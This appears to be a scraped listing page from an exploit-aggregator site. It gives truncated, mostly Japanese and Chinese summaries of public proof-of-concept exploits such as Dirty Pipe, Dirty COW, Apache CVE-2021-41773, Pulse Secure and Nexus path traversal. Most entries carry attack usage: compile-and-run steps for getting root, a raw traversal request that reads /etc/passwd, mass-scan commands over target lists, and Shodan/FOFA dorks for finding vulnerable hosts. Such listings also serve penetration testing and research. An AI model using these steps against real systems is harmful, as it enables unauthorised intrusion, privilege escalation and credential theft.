idb

Idb idb is a tool to simplify some common tasks for iOS pentesting and research. Originally there was a command line version of the tool, but it is no longer under development so you should get the GUI version. idb has a new homepage athttp://www.idbtool.com All documentation and news are posted...

CVE-2024-23897

使い方 root@kitploit: python poc.py usage: python poc.py http://127.0.0.1:8888/ /etc/passwd...

CVE-2019-11510

CVE-2019-11510 Pulse Secure SSL VPN の任意ファイル読み取り CVE-2019-11510 のエクスプロイト 単一のドメイン、またはドメインのリストを使用できます。ドメインの前に https:// を含める必要があります。 使用法 : cat targetlist.txt | bash CVE-2019-11510.sh / bash CVE-2019-11510.sh -d https://vpn.target.com/ エクスプロイトを検証して /etc/passwd をダウンロードするだけの場合は、次を使用します : cat...

CVE-2021-41773-PoC

CVE-2021-41773-PoC CVE-2021-41773 の PoC です。docker を使ってデモンストレーションします。 実行 ./poc.sh を実行するだけです。正常に動作する docker と docker-compose がインストールされていることを確認してください。 root@kitploit: $ ./poc.sh Creating network "cve-2021-41773-pocdefault" with the default driver Creating cve-2021-41773-pocweb1 ... done...

MegaHiDocker

MegaHiDocker このプロジェクトは、CVE-2020-35191 と同様の脆弱性コードを持つ一部のDockerコンテナに対して悪用されますが、今回は他のコンテナに対してです。 = ファイル Description.txt をお読みください 要件: 1.Need to Install docker in your Linux AND Install subprocess module for python 3.X. 2.コンテナをプルしてから、このコードを実行します（例: docker pull ） 脆弱性の影響: 1.CVSS: 9.8 Critical 2.コード実行の影響:...

CVE-2022-0847

CVE-2022-0847 Dirty Pipe 脆弱性 教育目的のみ root@kitploit: ┌──vagrant㉿kali- └─$ ls -al /etc/passwd -rw-r--r-- 1 root root 3124 Mar 8 08:47 /etc/passwd ┌──vagrant㉿kali- └─$ head -n 1 /etc/passwd root:x:0:0:root:/root:/usr/bin/zsh ┌──vagrant㉿kali- └─$ echo foo /etc/passwd zsh: permission denied: /etc/passw...

CVE-2024-24919

CVE-2024-24919 CVE-2024-24919 の nuclei テンプレート このテンプレートは、システムが /etc/shadow ファイルの内容を漏えいしているかどうかをチェックすることで、説明されている脆弱性を検出するのに役立ちます。...

cve-2021-45043

cve-2021-45043 HD-Network Real-time Monitoring System 2.0 では、/language/lang の sLanguage パラメータを介して、../ ディレクトリトラバーサルにより /etc/shadow を読み取ることができます。 初期投稿 https://cyberguy0xd1.medium.com/my-cve-2021-45043-lfi-write-up-441dad30dd7f Burp 経由での悪用 GET /language/lang HTTP/1.1 Host: IP.target Cookie:...

Dirty-Pipe-Oneshot

Dirty-Pipe-Oneshot CVE-2022-0847、通称 Dirty Pipe のコンパイル済みバージョン。ワンショットで全て root に :D cve-2022-0847.c ファイルをコンパイルするだけ root@kitploit: gcc cve-2022-0847.c -o getroot あとは標的マシン上で実行するだけで root を取得 :D root@kitploit: ./getroot /etc/passwd 1 ootz: 楽しいルート取得を 🎭...

CVE-2021-41773-PoC

CVE-2021-41773-PoC Dockerを使用してCVE-2021-41773を実証するPoC 実行方法 ./poc.shを実行するだけです。dockerとdocker-composeが動作していることを確認してください。 root@kitploit: $ ./poc.sh Creating network "cve-2021-41773-pocdefault" with the default driver Creating cve-2021-41773-pocweb1 ... done root:x:0:0:root:/root:/bin/bash...

nmap-CVE-2023-23333-exploit

nmap-CVE-2023-23333-exploit Nmap NSE スクリプトを使用して、Solarwinds CVE-2023-23333 の脆弱性を悪用し、リモートシステムから /etc/passwd をダンプします。 スクリプトを solar-CVE-2023-23333.nse というファイルに保存します。スクリプトを実行するには、Nmap の --script-args オプションを使用して出力ファイルのパスを指定します: nmap -p --script solar-CVE-2023-23333.nse --script-args...

CVE-2022-0847

DIRTY PIPE CVE-2022-0847 这是一个内核漏洞，它允许覆盖任意只读文件中的数据，因此可能导致权限提升，因为非特权进程可以写入特权进程。所有功劳归于🥇Max Kellermann，感谢他发现该漏洞并提供出色的解释/描述。 👻 重要通知 此概念验证代码基于 Max Kellermann 的 PoC，并经过修改，以探索如何利用该漏洞获取更高权限的不同方式。该利用代码包含一项检查，用于检查内核版本是否易受攻击，并利用该漏洞覆盖 /etc/passwd 文件以获取 root 权限。exploit.c 用法 您可以下载已编译的二进制文件，或使用 make...

CVE-2024-0582

はじめに このエクスプロイトは、/etc/passwd への不正な書き込みアクセスを獲得するために Dirty Cred 攻撃手法を実装しています。多数のページを作成したり、ファイルディスクリプタを積極的にスプレーする多くの類似のエクスプロイトとは異なり、このアプローチはより標的を絞った方法で必要なカーネル構造を破損させます。 エクスプロイトの流れ（概要） CPUアフィニティの設定とFD制限の増加 安定したパフォーマンスとスプレーに十分なファイルディスクリプタを確保します。 iouringの初期化 iouringインスタンスを作成し、カーネルメモリ使用のためにバッファリングを登録します。...

CVE-2024-4956

CVE-2024-4956 : Nexus Repository Manager 3 Dork: Shodan:http.html:"Nexus Repository" Hunter:product.name="Nexus Repository" FOFA:app="Nexus-Repository-Manager" Poc : root@kitploit: GET /%2F%2F%2F%2F%2F%2F%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd HTTP/1.1 Host: localhost:8081...

CVE-2022-0847_DirtyPipeExploit

这是什么 这是 Max Kellermann 针对 Dirty Pipe 的概念验证，但经过修改，用于覆盖 /etc/passwd 中 root 的密码字段，并在获取 root shell 后恢复。 附注： 我不声称对发现此漏洞或编写概念验证拥有任何功劳。此利用程序只是对 Kellermann 概念验证的小小修改，以便快速/轻松地利用。请在有时间时阅读关于这个极其有趣漏洞的原始文章 @ https://dirtypipe.cm4all.com/。它确实值得你花时间去理解。 如何使用 1. 使用 ./compile.sh 编译（假定已安装 gcc） 2. 运行 ./exploit，它会获取...

CVE-2016-5195

CVE-2016-5195 CVE-2016-5195（Dirty COW）の個人用POCおよびエクスプロイト 使用方法 POC: 任意のファイルへの書き込み このCVEのシンプルなPOCです。以下のようにファイルpoc.cをコンパイルします。 root@kitploit: $ gcc poc.c -o poc -static -lpthread 以下のように実行します。 root@kitploit: ./poc コピー先ファイル コピー元ファイル...

cve_2022_0847_shellcode

cve20220847shellcode 説明 このリポジトリには、CVE-2022-0847 を実装するシェルコードを生成するための、pwntools ベースの Python スクリプト genshellcode.py が含まれています。 このシェルコードは、次の PoC に基づいています: antx。 私は PoC のコードとその実行を strace で解析し、エクスプロイトに必要なすべてのシステムコールを把握しました。最初は syscall.h を使う C プログラムを書きましたが、これはシェルコードには適していません。ただし参考用としては有用なので、ここに同梱しました...

CVE-2024-48990

CVE-2024-48990 Exploit for CVE-2024-48990 Local Privilege Escalation in needrestart 3.8 背景 https://blog.qualys.com/vulnerabilities-threat-research/2024/11/19/qualys-tru-uncovers-five-local-privilege-escalation-vulnerabilities-in-needrestart を参照してください。Qualys が素晴らしい説明をしています。 TLDR; needrestart バージョン...

dirtyPipe-automaticRoot

Dirty Pipe 自動 root エクスプロイト CVE-2022-0847 依存関係: Python 3.10 以上 使用方法: 自動 root: root@kitploit: $ python3.10 dirtyPipe.py -a + hjacking super user in /etc/passwd + dropipng shell 書き込み権限がない、不変、または読み取り専用でマウントされたファイルへの書き込み: root@kitploit: $ python3.10 dirtyPipe.py -w FILE OFFSET DATA @terabitSec 🦜 からの提供...

CVE-2019-5418-Scanner

CVE-2019-5418-Scanner CVE-2019-5418 に対して脆弱な Ruby エンドポイントを特定するためのマルチスレッド Golang スキャナ 使用方法 root@kitploit: Usage of ./CVE-2019-5418-Scanner: -auth string Perform a scan using a auth token i.e Basic YmFzZTY0VG9rZW5WYWx1ZQ== default "nope" -http Use HTTP over HTTPS -insecure Ignore SSL/TLS Errors -log...